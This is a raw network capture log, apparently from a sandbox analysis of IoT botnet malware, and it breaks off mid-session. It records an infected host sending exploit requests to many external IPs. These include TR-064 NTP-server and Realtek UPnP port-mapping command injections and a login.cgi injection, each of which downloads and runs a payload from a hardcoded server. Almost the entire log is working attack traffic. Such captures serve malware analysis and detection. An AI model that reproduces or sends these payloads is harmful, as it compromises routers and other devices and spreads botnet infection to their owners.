Mar 21, 2024 05:22:11.750535965 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.14	58404	58.221.30.168	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.768781900 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:12.164772987 CET	192	IN	HTTP/1.1 404 Not Found Content-Length: 0 X-NWS-LOG-UUID: 2134831931311070139 Connection: close Server: Lego Server Date: Thu, 21 Mar 2024 04:22:11 GMT X-Cache-Lookup: Return Directly
Mar 21, 2024 05:22:12.345570087 CET	1	IN	Data Raw: 0d Data Ascii:
Mar 21, 2024 05:22:12.538182020 CET	1	IN	Data Raw: 0d Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.14	44034	99.243.118.4	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.769768000 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.14	47898	216.78.22.29	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.777548075 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.14	37222	45.126.229.145	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.818579912 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:15.998106003 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:22.141839027 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:34.179286957 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:58.492851019 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.14	32806	212.18.82.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.861063957 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:12.035686970 CET	502	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:11 GMT Server: Apache/2.4.38 (Debian) Content-Length: 308 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 65 62 2e 76 6f 65 6c 6b 65 72 73 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at web.voelkers.org Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.14	50200	32.221.11.182	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.861237049 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.14	44186	99.243.118.4	7547

Timestamp	Bytes transferred	Direction	Data
